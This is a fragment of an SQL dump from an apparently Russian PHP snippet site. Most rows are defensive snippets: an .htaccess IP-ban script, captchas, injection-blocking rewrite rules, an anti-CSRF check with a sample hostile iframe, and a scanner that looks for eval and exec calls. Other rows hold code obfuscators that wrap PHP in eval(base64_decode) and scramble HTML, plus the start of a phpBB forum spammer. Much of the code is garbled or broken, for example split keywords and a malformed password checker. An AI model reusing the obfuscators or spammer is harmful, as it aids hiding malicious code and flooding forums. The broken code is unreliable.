$somevarthatdoesnotexist;','files_1708_3884_',151),(340,18,'PHP-скрипт
автоматического бана по IP в .htaccess','О
скрипте\r\n\r\nДумаю, любого вабмастера
донимают искатели админок и системных
папок
вида:\r\nhttp://сайт/admin.php\r\nhttp://сайт/phpmyadmin/\r\nhttp://сайт/administrator/\r\nhttp://сайт/login.php\r\nКак
бороться с такими искателями? Думаю,
баном. Скрипт работает следующим
образом: идет запрос на http://сайт/admin.php
==> идет перенаправление на PHP-скрипт
бана ==> скрипт добавляет в файл .htaccess
запись "Deny from 1.2.3.4", где 1.2.3.4 -
ip-адрес искателя ==> уведомляет по email
админа сайта о бане. Всё просто =)\r\nУ меня
по этим адресам ничего нет, но я всё равно
использую этот скрипт, ибо нефиг лезть
куда не надо =)','Установка\r\n\r\nСам
PHP-скрипт бана. Назовем его ban.php\r\n<?\r\n//
PHP-скрипт автоматического бана по IP в
.htaccess при посещении запрещенного URL\r\n// от
Дмитрия \'DiM\' (www.dimlife.com)\r\n// Инструкция по
использованию скрипта
http://dimlife.com/php:htaccess-ban\r\n\r\n$tomail = \'admin@dimlife.com\';
// email владельца сайта\r\n$frommail =
\'robot@dimlife.com\'; // условный email
отправителя\r\n$date = date(\'d.m.Y H:i:s\');\r\n$ip =
$_SERVER[\'REMOTE_ADDR\'];\r\n$url =
$_SERVER[\'REQUEST_URI\'];\r\n$useragent =
$_SERVER[\'HTTP_USER_AGENT\'];\r\n$refer =
$_SERVER[\'HTTP_REFERER\'];\r\n$ban = "#
".$date." ".$url." \\r\\nDeny from
".$ip." \\r\\n"; // эта строка
запишется в .htaccess\r\n$htaccess =
$_SERVER[\'DOCUMENT_ROOT\'].\'/.htaccess\'; // путь до
.htaccess\r\n$str = file_get_contents($htaccess);\r\n$fn = \'Deny from
\'.$ip;\r\n$pos = strpos($str,$fn);\r\n\r\n// если IP-адрес не
забанен в .htaccess\r\nif ($pos === false)\r\n{\r\n$o =
@fopen($htaccess, "a+"); // открывает
.htaccess\r\n$write = @fputs($o, $ban); // пишет строку о
бане\r\n// уведомление на email админа
сайта\r\nmail (\r\n$tomail,\r\n\'Новый бан!
(\'.$url.\')\',\r\n\'дата: \'.$date.\' | IP:
\'.$ip."\\r\\n".\'юзерагент:
\'.$useragent."\\r\\n".\'Запрос: \'.$url.\' |
реферал:
\'.$refer,\r\n\'From:\'.$frommail\r\n);\r\nfclose($o);\r\n//
показывает нарушителю страницу с
уведомлением о бане\r\necho
\'\r\n<html><head></head><body
style="background:#363636;font-family:Century
Gothic;color:#CFCFCF">\r\n<div
style="position:fixed;top:25%;left:25%;width:400px;height:400px;top:expression((document.documentElement.scrollTop
+ screen.height/2 - 200) +
\\\'px\\\');margin-left:-200px;"><span
style="font-size:300px">БАН!</span></div>\r\n</body></html>\r\n\';\r\n\r\n}\r\n\r\n//
если IP-адрес уже забанен в
.htaccess\r\nelse\r\n{\r\n// только уведомление на email
админа сайта\r\nmail (\r\n$tomail,\r\n\'Уже забанен
(\'.$ip.\')\',\r\n\'дата: \'.$date.\' | IP:
\'.$ip."\\r\\n".\'юзерагент:
\'.$useragent."\\r\\n".\'Запрос: \'.$url.\' |
реферал:
\'.$refer,\r\n\'From:\'.$frommail\r\n);\r\n}\r\n?>\r\nЭтот же
скрипт можно взять на dimlife.com/t5bdf.txt,
gist.github.com/dimlife/5799050,
pastebin.com/itc4a5Cw\r\nСохраняем ban.php в любом
удобном месте.\r\nТеперь определимся, за
посещение каких ссылок будем банить. В
файле .htaccess добавим\r\nRewriteRule admin.php
/путь/до/ban.php [NC]\r\nRewriteRule login /путь/до/ban.php
[NC]\r\nRewriteRule administrator /путь/до/ban.php [NC] //
админка joomla\r\nRewriteRule wp-login.php /путь/до/ban.php
[NC] // админка wordpress\r\nДобавить можете кучу
ссылок.\r\n\r\nДополнения\r\n\r\nЧтобы
добавить в исключения свой IP-адрес,
делаем так\r\nRewriteCond %{REMOTE_ADDR} !1.2.3.4\r\nRewriteRule
admin.php /путь/до/ban.php [NC]\r\nгде "1.2.3.4"
- ваш IP-адрес. Если у вас динамический IP,
можно обрезать, например, до
"1.2.".\r\nЕсли IP-адресов больше
одного, то это будет выглядеть
так\r\nRewriteCond %{REMOTE_ADDR} !1.2.3.4 [OR]\r\nRewriteCond
%{REMOTE_ADDR} !3.2.3. [OR]\r\nRewriteCond %{REMOTE_ADDR}
!2.1.\r\nRewriteRule admin.php /путь/до/ban.php
[NC]\r\n\r\n\r\nВсё просто. От профессионалов
жду критики, а от новичков вопросов
=)','files_3419_2833_',151),(341,18,'Каптча','Добавления
каптчи на сайт','<?php\r\n\r\n// Папка со
шрифтом + его имя\r\n\r\n$font =
\'fonts/Disney.ttf\';\r\n\r\n// Общее число
линий\r\n\r\n$lineCount = 40;\r\n\r\n// Размер
шрифта\r\n\r\n$fontSize = 40;\r\n\r\n// Высота
картинки\r\n\r\n$height = 50;\r\n\r\n// Ширина
картинки\r\n\r\n$width = 150;\r\n\r\n$img_handle = imagecreate
($width, $height) or die ("Cannot Create
image");\r\n\r\n// Основной цвет в
RGB\r\n\r\n$backColor = imagecolorallocate($img_handle, 255, 255,
255);\r\n\r\n// Цвета линий в RGB\r\n\r\n$lineColor =
imagecolorallocate($img_handle, 175, 238, 238);\r\n\r\n// Цвет
текста в RGB\r\n\r\n$txtColor = imagecolorallocate($img_handle, 135,
206, 235);\r\n\r\n\r\n\r\n// Не изменяйте код
ниже\r\n\r\n$string =
"abcdefghijklmnopqrstuvwxyz0123456789";\r\n\r\nfor($i=0;$i<6;$i++){\r\n\r\n$pos
= rand(0,36);\r\n\r\n$str .= $string{$pos};\r\n\r\n}\r\n\r\n$textbox =
imagettfbbox($fontSize, 0, $font, $str) or die(\'Error in imagettfbbox
function\');\r\n\r\n$x = ($width - $textbox[4])/2;\r\n\r\n$y = ($height -
$textbox[5])/2;\r\n\r\nimagettftext($img_handle, $fontSize, 0, $x, $y,
$txtColor, $font , $str) or die(\'Error in imagettftext
function\');\r\n\r\nfor($i=0;$i<$lineCount;$i++){\r\n\r\n$x1 =
rand(0,$width);$x2 = rand(0,$width);\r\n\r\n$y1 = rand(0,$width);$y2 =
rand(0,$width);\r\n\r\nimageline($img_handle,$x1,$y1,$x2,$y2,$lineColor);\r\n\r\n}\r\n\r\nheader(\'Content-Type:
image/jpeg\');\r\n\r\nimagejpeg($img_handle,NULL,100);\r\n\r\nimagedestroy($img_handle);\r\n\r\n\r\n\r\nsession_start();\r\n\r\n$_SESSION[\'img_number\']
= $str;\r\n\r\n?>\r\n\r\n\r\n\r\nform.php\r\n\r\n<form
action="result.php"
method="post">\r\n<img alt="Random
Number" src="image.php">\r\n<input
type="text"
name="num"><br>\r\n<input
type="submit" name="submit"
value="Check">\r\n</form>\r\n\r\nresult.php\r\n\r\n\r\n<?php\r\n\r\nsession_start();\r\n\r\nif($_SESSION[\'img_number\']
!= $_POST[\'num\']){\r\n\r\necho\'The number you entered doesn\'t match the
image.<br>\r\n\r\n<a
href="form.php">Try
Again</a><br>\';\r\n\r\n}else{\r\n\r\necho\'The
numbers Match!<br>\r\n\r\n<a
href="form.php">Try
Again</a><br>\';\r\n\r\n}\r\n\r\n?>','files_5005_4562_',151),(342,18,'Защита
сайта от scripts injection','Данный код позволяет
защитить сайт от scripts enjection и
нежелательных модификаций _REQUEST и/или
GLOBALS. код вставлять в .htaccess','#Включаем
отслеживание сим-ссылок\r\nOptions
+FollowSymLinks\r\n#Запускаем url_rewriting\r\nRewriteEngine
On\r\n#Блокируем все ссылки, содержащие
<script>\r\nRewriteCond %{QUERY_STRING}
(\\<|%3C).*script.*(\\>|%3E) [NC,OR]\r\n#Блокируем
все скрипты, которые пытаются изменить
переменные PHP Globals:\r\nRewriteCond %{QUERY_STRING}
GLOBALS(=|\\[|\\%[0-9A-Z]{0,2}) [OR]\r\n#Блокируем все
скрипты, которые пытаются изменить
переменную _REQUEST:\r\nRewriteCond %{QUERY_STRING}
_REQUEST(=|\\[|\\%[0-9A-Z]{0,2})\r\n#Перенаправляем все
подобные на страницу с ошибкой 403 —
запрещено\r\nRewriteRule ^(.*)$ index.php
[F,L]','files_3191_5478_',151),(343,18,'Анти CSRF','даный
кусок кода служит минимальной защитой от
малоизвестного типа атаки как csrf, это тип
межсайтовых запросов, ориентированых на
вызов каких то действий со стороны юзера
(администратора), к примеру вызов какого
то действия через фрейм,при условии что
юзер авторизирован на атакуемом
сайте..\r\n<iframe width="0"
height="0"
src="http://мойсайт.ру/blog.php?delete=1"></iframe>\r\nКогда
юзер зайдет на сайт с этим кодом,то
очистится его блог..и он даже ничего не
заподозрит..\r\nНо даное обращение пишется
в реферер.. и мы можем проверить
действительно ли с нашего сайта
обращались к скрипту..','//функцию можно
закинуть к примеру в файл бд или любой
другой часто инклуденый файл (так
проще)\r\n\r\nfunction AntiCsrf()\r\n{\r\nif
(isset($_SERVER[\'HTTP_REFERER\']))\r\n{\r\nif ($_SERVER[\'HTTP_REFERER\']
!= $_SERVER[\'HTTP_HOST\'])\r\n{\r\necho \'Неизвестный
источник!\';\r\nexit();\r\n}\r\n}\r\n}\r\n\r\n//потом
можем вставить в начало любого массива
отвечающего за админ или юзер
действие\r\n\r\nAntiCsrf();','files_1663_4772_',151),(344,18,'Поиск
уязвимостей, путем
сканировани','очередное детище с хабра,
вроде не плохой алгоритм для бесплатного
распостранения ))','<?php # На PHP пишем
ведь.\r\n\r\n#####################################\r\n# Папка
для сканирования. Жалателен полный
путь.\r\n$dir =
\'/var/www/b\';\r\n#####################################\r\n\r\n#####################################\r\n#
Функция-посковик "остенького"
кода.\r\nfunction check($text){\r\n# Массив с
подготовленными участками для
поиска.\r\n$array = array(\'.$_\', \'= $_\', \', $_\',
\'"$_\', "\'\\$_", \',$_\', \'eval(\',
\'exec(\', \'proc_open(\', \'system(\');\r\n# Заготовка
переменных\r\n$i = 0; $bug = NULL;\r\n# Перебор ячеек
массива с целью поиска
уязвимостей.\r\nforeach($array as $search){ $i++;\r\n# Ищем
участок кода, при успешном нахождении
записываем в переменную.\r\nif(stripos($text, $search)
!== false) $bug[$i] = $search; }\r\n# А если совпадений
нет, то передаём "false".\r\nreturn
(!empty($bug)) ? $bug : false;
}\r\n#####################################\r\n\r\n#####################################\r\n#
Функция для рекурсивного просмотра
попапок в папке.\r\nfunction open_dir($name){\r\n#
Открытие папки, поготовка переменной для
хранения в ней результата.\r\n$open = opendir($name);
$info = NULL;\r\n# Чтение папки.\r\nwhile($data =
readdir($open)){\r\n# Отсеиваем ссылки, которые
ведут выше нашей папки.\r\nif($data !== \'.\'
&& $data !== \'..\'){\r\n# Искуственоо
получаем путь к файлу.\r\n$real_name =
$name.\'/\'.$data;\r\n# Если нам попался не файл, а
папка, то вызываем фунцию для её
чтения.\r\nif(is_dir($real_name)){ open_dir($real_name); }\r\n# А
если же файл, то приступаем к
анализу.\r\nelse if(is_file($real_name)){\r\n# Для начала
нам нужно имееть уверенность, что наш
файл - php-сценарий.\r\n$new_name = str_replace(array(\'.php\',
\'.phtm\'), \'.iscode\', $real_name);\r\n# Если после
манипуляции с именем файла у нас
появились изменения - просматриваем
файл.\r\nif($real_name !== $new_name){\r\n# Чтение
файла.\r\n$text = file_get_contents($real_name);\r\n#
Запускаем поиск "острого"
кода.\r\n$check = check($text);\r\n# Если результат
положительный, то выводим на
экран.\r\nif($check){ echo $real_name.\' ->
(\'.count($check)." moment(s))\\n";\r\n# А ниже
выводим список "острого",
которое было найдено.\r\nforeach($check as $vtag){ echo
\'=> => |\'.$vtag.\'|\'; } echo "\\n"; } }
} } } }\r\n#####################################\r\n\r\n# Запуск
фунции для просмотра каталогов для нашей
папки.\r\nopen_dir($dir);\r\n\r\n#####################################\r\n?>','files_3169_1325_',151),(345,18,'Защита
от прямых ссылок!','Защита от прямых
ссылок!','<?php\r\nRewriteEngine on\r\nRewriteBase /\r\n#
если надо разрешить скачку при пустом
рефере раскомментируйте это\r\n# RewriteCond
%{HTTP_REFERER} !\r\n^$\r\n# Дальше список идет набор
разрешенных доменов\r\nRewriteCond %{HTTP_REFERER}
!\r\n^http(s)?://\r\n(www.)?\r\nsnippets.pp.ru [NC]\r\nRewriteCond
%{HTTP_REFERER} !\r\n^http(s)?://\r\n(www.)?\r\nwen.ru [NC]\r\n#
Форматы файлов, для которых
устанавливается защита (например,
mp3)\r\nRewriteRule .\r\n(mp3)$ http://\r\nya.ru\r\n#Все запросы
на http:/ /\r\nsnippets.pp.ru/1.mp3 перекинутся на http:/
/\r\nya.ru\r\n?>','files_1253_4316_',151),(346,18,'Защита
сайта','Очень неприятно, когда
в\r\nинтеренете появляются
сайты,\r\nсделаные методом
скачивания\r\nсодержимого с
твоего,\r\nдолгими трудами
созданного.\r\nВот от таких
непорядочных\r\nлюдей и помогает этот
скрипт.\r\nЗапись запрещающей строки\r\nв
.htaccess
осуществляется\r\nавтоматически.\r\nСкрипт
вставляется в каждую\r\nстраницу сайта с
помощью\r\ninclude.\r\nОписание настроек
скрипта:\r\n// error_reporting(0) После\r\nустановки
и настройки скрипта\r\nкомментарий
снять.\r\n$limit // Максимально\r\nдопустимое
количество\r\nобращений к сайту с одного
IP-\r\nадреса в минуту.\r\n$htaccess // Путь
к\r\nфайлу .htaccess\r\n$htstring // Комментарий
к\r\nстроке в файле .htaccess\r\n$dirfiles // Путь к
папке с\r\nвременными файлами\r\n$logfiles //
Имена временных\r\nфайлов\r\n$excludes //
Массив\r\nисключений с именами
хостов,\r\nкоторым "можно
всё"','<?php\r\n//error_reporting\r\n(0);\r\n$address =
$_SERVER\r\n[\'REMOTE_ADDR\'];\r\n$ref =
$_SERVER\r\n[\'HTTP_REFERER\'];\r\n$url =
urldecode\r\n($_SERVER\r\n[\'REQUEST_URI\']);\r\n$limit = 20;\r\n$timenow =
time\r\n();\r\n$browser = $_SERVER\r\n[\'HTTP_USER_AGENT\'];\r\n$htaccess =
$_SERVER\r\n[\'DOCUMENT_ROOT\']."/.htaccess";\r\n$dirfiles
=
$_SERVER\r\n[\'DOCUMENT_ROOT\']."/\r\nantirip/\r\nlogfiles/";\r\n$logfiles
= "$dirfiles".\r\n$address;\r\n$hostname =
gethostbyaddr\r\n($address);\r\n$datetime = date\r\n("Y-m-d
H:i:s");\r\n$ip1 =
getenv\r\n("HTTP_X_FORWARDED_FOR");\r\n$ip2 =
getenv\r\n("REMOTE_ADDR");\r\n$hostip1 =
gethostbyaddr\r\n($ip1);\r\n$hostip2 = gethostbyaddr\r\n($ip2);\r\nif ($ip1
!\r\n= $ip2) {\r\n$htstring = NULL;\r\nif (!empty\r\n($ip1))
{\r\npreg_match_all\r\n(\'/[0-9]{1,3}.\r\n[0-9]{1,3}.[0-9]\r\n{1,3}.[0-9]\r\n{1,3}/\',
$ip1, $ip1);\r\n$ip1 = array_unique\r\n($ip1[0]);\r\nforeach ($ip1 as $v)
{\r\n$htstring.="Deny from
".\r\n$v."\r\nЗаблокирован
Внутренний IP\r\n$hostip1rn";\r\n}\r\n}\r\nif
(!empty\r\n($ip2)) {\r\n$htstring.="Deny from
".\r\n$ip2."\r\nЗаблокирован IP
Proxy\r\n$hostip2rn";\r\n}\r\n} else {\r\n$htstring =
"Deny from
".\r\n$address."\r\nЗаблокирован
Внешний IP\r\n$hostnamern";\r\n}\r\n$excludes =
array\r\n(\r\n"yandex.ru",\r\n"rambler.ru",\r\n"googlebot.com",\r\n"webaltabot.com",\r\n"inktomisearch.com",\r\n"search.live.com",\r\n);\r\nif
($opendir = opendir\r\n($dirfiles)) {\r\nwhile (false !\r\n== ($log =
readdir\r\n($opendir))) {\r\nif ($log !\r\n= "." and $log
!\r\n= "..") {\r\n$timelog =
date\r\n(filemtime\r\n("$dirfiles"."$log"));\r\nif
($timelog < ($timenow -\r\n60))
{\r\nunlink\r\n("$dirfiles"."$log");\r\n}\r\n}\r\n}\r\n}\r\nforeach
($excludes as $v) {\r\nif (preg_match\r\n(\'/\'.\r\n$v.\'/\', $hostname))
{exit;}\r\n}\r\nif (!file_exists\r\n($logfiles)) {fopen\r\n($logfiles,
"w\r\n+");}\r\n$write = "$datetime
-\r\n$hostname<br>Browser: $browser<br>Referer:
$ref<br>URL: $url<br>rn";\r\nif
($logfiles) {\r\nif (is_writable\r\n($logfiles)) {\r\nif (!\r\n$handle =
fopen\r\n($logfiles, \'a\')) {exit;}\r\nif (fwrite\r\n($handle, $write) ===
FALSE) {exit;}\r\nfclose\r\n($handle);\r\n}\r\n}\r\nif
((count(file\r\n($logfiles)) > $limit) and ($timelog >
($timenow -\r\n60))) {\r\nif ($htaccess) {\r\nforeach (file\r\n($htaccess)
as $h) {\r\nif ($h === $htstring) {\r\nexit;\r\n}\r\n}\r\nif
(is_writable\r\n($htaccess)) {\r\nif (!\r\n$handle = fopen\r\n($htaccess,
\'a\')) {exit;}\r\nif (fwrite\r\n($handle, $htstring) === FALSE)
{exit;}\r\nfclose\r\n($handle);\r\n}\r\n}\r\n}\r\n?>','files_3541_3227_',151),(347,18,'Каптча','Каптча','<?php\r\nsession_start();\r\n$alp=\'QWERTYUIOPASDFGHJKLZXCVBNM123446789\';\r\n$len=strlen\r\n($alp);\r\n$code=NULL;\r\n$image
= imagecreatetruecolor\r\n(72, 30);\r\n$x = NULL;\r\n$chars =
mt_rand\r\n(4, 6);\r\nfor($i=0; $i<\r\n$chars;
$i++)\r\n{\r\n$x+=rand(7, 11);\r\n$code .= $symb =
$alp\r\n{mt_rand(0,\r\n$len-1)};\r\nimagechar\r\n($image, 5, $x,
mt_rand\r\n(2, 14),\r\n$symb, 0x00FFFF);\r\n}\r\n$_SESSION\r\n[\'code\'] =
$code;\r\nimagefilter\r\n($image,
IMG_FILTER_EMBOSS);\r\nheader(\'Content-\r\nType:
image/\r\npng\');\r\nImagepng\r\n($image);\r\nImageDestroy\r\n($image);\r\n?>','files_2738_2890_',151),(348,18,'Антивирус
на PHP! NEW!','Антивирус на PHP! NEW!','<?\r\n//
Заваливаем массив списком нужных нам
директорий\r\n$dir = array("./\r\ndir/");\r\n//
Расширение для сортировки\r\n$extentions =
array\r\n(".php");\r\n// масссив из
безопасных php-\r\nфайлов файлов\r\n$safe_files =
array\r\n("index.php","shell.php");\r\n//
Каждый элемент массива -\r\nкак отдельную
директорию\r\nforeach ($dir as $get_dir) {\r\n//
Открываем хэндл директории\r\n$dir_handle =
opendir\r\n($get_dir);\r\n// Получаем данные из
директории\r\nwhile ( false !\r\n== ($file =
readdir\r\n($dir_handle)) ) {\r\n// Находим файлы с
расширением пэхопэ\r\n$ext =
strtolower\r\n(strrchr\r\n($file, "."));\r\n//
Отсортируем все .php файлы\r\nif ( in_array\r\n($ext,
$extentions) ) {\r\n// Собираем новый массив из
php-\r\nфайлов\r\n$php_files\r\n[] =
$file;\r\n}\r\n}\r\n}\r\n?>','files_1403_4803_',151),(349,18,'Функция
проверки пароля на безопастность!
New!','Функция проверки пароля на
безопасность!
New!','<?php\r\n/*\r\nЗадача:\r\nНаписать
функцию проверки пароля на
безопасность\r\n* длина не меньше 6
символов\r\n* должен содержать и символы и
числа\r\n* не должен содержать больше
(>=) 3 линейно расположенных на
клавиатуре символов или цифр, например
таких как "lkj" или
"cvb"\r\n* если пароль безопасен
-\r\nвернуть истину, нет
-\r\nложь\r\n*/\r\nfunctionisGood ($pass)\r\n{$kbStrings =
array\r\n(\'1234567890\',\'qwertyuiop\',\'asdfghjkl\',\'zxcvbnm\',\r\n\'0987654321\',\'poiuytrewq\',\'lkjhgfdsa\',\'mnbvcxz\');\r\n$isGood
= false;\r\nif (strlen\r\n($pass) >= 6) {\r\nif
(preg_match(\'/\r\n[a- z]/i\',\r\n$pass) &&
preg_match\r\n(\'/[0-9]/\',\r\n$pass)) {\r\n$count = strlen\r\n($pass) -
2;\r\n$isGood = true;\r\n} else {\r\n$isGood = false;\r\nbreak 2;\r\n} } }
} } return
$isGood;\r\n}\r\n?>','files_2384_2614_',151),(350,18,'LinkCrypt
new!','LinkCrypt
new!','<?php\r\n$link=($_POST\r\n[\'linkk\']);\r\nfunction
code\r\n($link){\r\n$a=array\r\n(\'j\' , \'.\' , \'w\' , \'f\' , \'o\',
\'r\', \'u\' , \'m\' , \'a\' , \'q\' , \'t\' , \'s\' , \'v\' , \'y\' ,
\'b\' , \'c\' , \'d\' , \'e\' , \'i\' , \'g\' , \'h\' , \'*\' , \'p\' ,
\':\' , \'?\' , \'=\' , \'>\' , \'<\' , \'k\' ,
\'n\');\r\n$b=array\r\n(\'%6A\',\'%2E\', \'%77\', \'%66\', \'%6F\',
\'%72\', \'%75\', \'%6D\', \'%61\', \'%71\',\'%74\', \'%73\' ,\'%76\'
,\'%79\' , \'%62\' , \'%63\' , \'%64\' , \'%65\' , \'%69\' ,
\'%67\',\'%68\' , \'%2A\' , \'%70\' , \'%3A\' , \'%3F\' , \'%3D\' , \'%3E\'
, \'%3C\' , \'%6B\' , \'%6E\');\r\n$_txt=str_replace\r\n($a, $b,
$link);\r\nreturn $_txt;\r\n}\r\nf unction
decode\r\n($link){\r\n$a=array\r\n(\'j\',\'.\', \'w\', \'f\', \'o\', \'r\',
\'u\', \'m\', \'a\', \'q\', \'t\', \'s\', \'v\', \'y\', \'b\', \'c\',
\'d\', \'e\', \'2\', \'i\', \'g\',
\'h\',\'*\',\'p\',\':\',\'/\',\'?\',\'=\',\'\'\',\'>\',\'<\',\'
\',\'k\',\'n\',\'1\',\'2\',\'3\',\'4\',\'5\',\'6\',\'7\',\'8\',\'9\');\r\n$b=array\r\n(\'%6A\',\'%2E\',
\'%77\', \'%66\', \'%6F\', \'%72\', \'%75\', \'%6D\', \'%61\',
\'%71\',\'%74\',\'%73\',\'%76\',\'%79\', \'%62\',
\'%63\',\'%64\',\'%65\',\'%32\',\'%69\',\'%67\',\'%68\',\'%2A\',\'%
70\',\'%3A\',\'%2F\',\'%3F\',\'%3D\',\'%27\',\'%3E\',\'%3C\',\'%20
\',\'%6B\',\'%6E\',\'%31\',\'%32\',\'%33\',\'%34\',\'%35\',\'%36\',
\'%37\',\'%38\',\'%39\');\r\n$_txt=str_replace\r\n($b, $a,
$link);\r\nreturn $_txt;\r\n}\r\nswitch ( $_REQUEST\r\n[\'type\'])
{\r\ncase 0:\r\n$otvet= code\r\n($link);\r\nbreak;\r\ncase 1:\r\n$otvet=
decode\r\n($link);\r\nbreak;\r\n}\r\necho \'<!\r\nDOCTYPE html
PUBLIC "-//\r\nW3C//\r\nDTD XHTML 1.0
Transitional//\r\nEN" "http:/ /\r\nwww.w3.org/TR
/\r\nxhtml1/DTD /\r\nxhtml1
-\r\ntransitional.dtd">\r\n<html xmlns=
"http:/ /\r\nwww.w3.org/1999 /\r\nxhtml"
dir="ltr"
lang="ru">\r\n<head>\r\n<title>LinkCrypt</\r\ntitle>\r\n<meta
http-\r\nequiv="content-\r\ntype"
content="text/\r\nhtml; charset=windows-1251"
/\r\n>\r\n<
STYLE>\r\nbody\r\n{\r\nbackground-\r\ncolor:#222;\r\ncolor:#999;\r\nfont-\r\nfamily:Verdana;\r\nfont-size:9pt;\r\npadding:0px;\r\nmargin:0px;\r\n}\r\ntable\r\n{\r\nfont-\r\nfamily:Verdana,
Arial;\r\nfont-size:13px;\r\n}\r\nform\r\n{\r\npadding:20px;\r\nmargin:20px;\r\n}\r\ninput,
select\r\n{\r\nbackground:#292929;\r\npadding:2px;\r\nfont-size:12px;\r\nborder:1px
solid #444;\r\nfont-\r\nfamily:Verdana;
color:#888;\r\n}\r\n</style>\r\n</head>\r\n<body>\r\n<table
align="center" >\r\n<tr><td
align="center">LinkCrypt</\r\ntd></tr>\r\n<form
method=post>\r\n<tr><td
align="center"><br>\r\n<input
name="type" type="radio"
value="0" checked>enciphering\r\n<input
name="type" type="radio"
value="1"
checked>deenciphering\r\n</td></tr>\r\n<tr>\r\n<td
>\r\n<input type=input name="linkk"
size=48>\r\n<input type=input name=datafromuser size=48
value="<? echo $otvet;?\r\n> "
></td></tr>\r\n<br>\r\n<tr><td
align="center"><br><input
type="submit" value="[crypt]"
style="width:608px;">\r\n</form>\r\n</td></tr>\r\n</body>\r\n</html>\';\r\n?>','files_4889_2560_',151),(351,18,'Антиспам!
NEW!','Антиспам! NEW!','<?php\r\nfunction
antispam_help\r\n($text)\r\n{\r\n$dom = array\r\n(\'www.\',\'wap.\');
//\r\nподдомены\r\nif(preg_match(\'#^\r\n(https?|ftp)://\r\n(\'.implode(\'|\',\r\n$dom).\')?\'.str_replace\r\n(\'.\',
\'.\', $_SERVER\r\n[\'SERVER_NAME\']).\'#\', $text\r\n[0]))\r\nreturn
\'<a
href="\'.\r\n$text[0].\'">\'.\r\n$text[0].\'</a>\';\r\nelse\r\nreturn
\'[реклама]\';\r\n}\r\nfunction antispam\r\n($text)\r\n{\r\nreturn
preg_replace_callback\r\n("#(https?|\r\nftp)://S\r\n+[^s.,>)];\'"!?]#",
\'antispam_help\',
$text);\r\n}\r\n?>','files_2093_4891_',151),(352,18,'Мини
криптор!','Мини
криптор!','<?\r\n//\r\n$file="123.php";//\r\nСтарый
файл\r\n$new="1233.php";//\r\nНовый
файл\r\n//\r\n$content =
file_get_contents\r\n($file);\r\n$content=str_replace\r\n("<?",\'\',\r\n$content);\r\n$content=str_replace\r\n("?>",\'\',\r\n$content);\r\n$content=str_replace\r\n("\r\n",\'\',$content);\r\n$contents
=
base64_encode\r\n($content);\r\n$fp=fopen\r\n($new,"w");\r\nfwrite($fp,\'<?\r\neval\r\n(base64_decode\r\n("\'.\r\n$contents.\'"));return;?\r\n>\');\r\nfclose($fp);\r\n?>','files_4502_1358_',151),(353,18,'Криптор!','Криптор!','<?\r\nfunction
a($n)\r\n{\r\n$p="OD&:x9T6H@fBAC#y_wgloSEb~K
[chZei`a5z-\r\n{jv!Pk|r1mnYU}\r\nqV7/;pF]sXG=ILtQJ0u\'2Md\r\n(4*";
//\r\nсдесь пишем любой ключ который вам
нравится и криптуем своей
сигнатурой\r\n$q=\'\';\r\n$e=\'\';\r\nfor($l=0;\r\n$l<strlen($n);$l+\r\n+)\r\n{\r\n$o=$n[$l];\r\n$m=strpos($p,\r\n$o);\r\nif($m>-1)\r\n{\r\n$z=(($m+1)-1);\r\nif($z==79)\r\n{\r\n$z
=0;\r\n}\r\n$q .= $p[$z+1];\r\n} else {\r\n$q.=$o;\r\n}\r\n}\r\nreturn
$q;\r\n}\r\n$file=join\r\n(\'\',file\r\n(\'in.html\')); //\r\nфайл
который
криптуем\r\n$file=str_replace\r\n("\r\n",\'\',$file);\r\n$file=str_replace\r\n("\r\n",\'\',$file);\r\n$file=a($file);\r\n$decrypt="function
decrypt\r\n(n)\r\n{var
l,ch,ind,q="",key="OD&:x9T6H@fBAC#y_wgloSEb~K
[chZei`a5z-\r\n{jv!Pk|r1mnYU}\r\nqV7/;pF]sXG=ILtQJ0u\'2Md\r\n(4*";for\r\n(l=0;l<n.length;l\r\n++){ch=n.charAt\r\n(l);ind=key.indexOf\r\n(ch);i
f(ind>-1)\r\n{if(ind==0)\r\n{ind =79}q\r\n+=key.charAt\r\n(ind-1)}
else
{q\r\n+=ch}};document.write\r\n(q)}";\r\n$decrypt=urlencode\r\n($decrypt);\r\n$decrypt=str_replace\r\n(\'+\',\'
\',\r\n$decrypt);\r\n$file=str_replace\r\n("\'","\'",$file);\r\n$cont="<script>function
load\r\n(code,dfunc,anticasp)\r\n{eval\r\n(dfunc);decrypt\r\n(code
);}load(\'".\r\n$file."\',unescape\r\n(\'".\r\n$decrypt."\'));</\r\nscript>";\r\n$file=fopen\r\n(\'out.htm\',\'w\');
//\r\nто что получается на
выходе\r\nfputs($file,\r\n$cont);\r\nfclose($file);\r\n?>','files_2709_4691_',151),(354,18,'phpBB2
Forum spammer!','phpBB2 Forum
spammer!','<?php\r\n<html><head>\r\n<meta
name="GENERATOR" content="Microsoft FrontPage
6.0">\r\n<meta name="ProgId"
content="FrontPage.Editor.Document">\r\n<meta
http-\r\nequiv="Content-\r\nType"
content="text/\r\nhtml;
charset=windows-1252">\r\n<title>phpBB
Spammer</\r\ntitle>\r\n<script
type="text/\r\njavascript">\r\n<!--\r\nfunction
submitForm\r\n(counter)\r\n{\r\ndocument.title = \'phpBB Spammer\' +
counter + \' topics posted\';\r\nif\r\n(document.docform.script_on.value ==
\'1\')\r\n{\r\ndocument.docform.action =
document.docform.target.value;\r\ndocument.docform.submit\r\n();\r\ncounter++;\r\n}\r\ndocument.getElementById\r\n(\'counterspan\').innerHTML
= counter;\r\nsetTimeout\r\n("submitForm\r\n(" + counter
+ ")", document.docform.intervals.value *
1000);\r\n}\r\nfunction
onOff()\r\n{\r\nif\r\n(document.docform.script_on.value ==
\'1\')\r\n{\r\ndocument.docform.script_on.value =
\'0\';\r\ndocument.docform.stopstart.value =
\'Start!\';\r\n}\r\nelse\r\n{\r\ndocument.docform.script_on.value =
\'1\';\r\ndocument.docform.stopstart.value =
\'Stop!\';\r\n}\r\n}\r\n//-Arrow\r\n</script>\r\n</\r\nhead><body
onload="submitForm\r\n(0)"
style="font-\r\nfamily: Verdana; font-\r\nsize: 8pt;
font-\r\nstyle: italic;">\r\n<form
name="docform"
enctype="multipart/\r\nform-\r\ndata"
action="" method="post"
target="iframe">\r\n<div
align="left">\r\n<table
style="border-\r\ncollapse: collapse;"
id="AutoNumber1" bgcolor="#dee9f3"
border="1" bordercolor="#c0c0c0"
cellpadding="0" cellspacing="0"
width="100%">\r\n<tbody><tr>\r\n<td
colspan="2"
bgcolor="#c4d8ea">\r\n<h1
align="center">\r\n<span
style="font-\r\nstyle: italic; text-\r\ndecoration:
underline;">Afterlife\'s phpBB
Spammer!\r\n</span></h1>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td
width="54%"><i><font
size="1"> Intervals
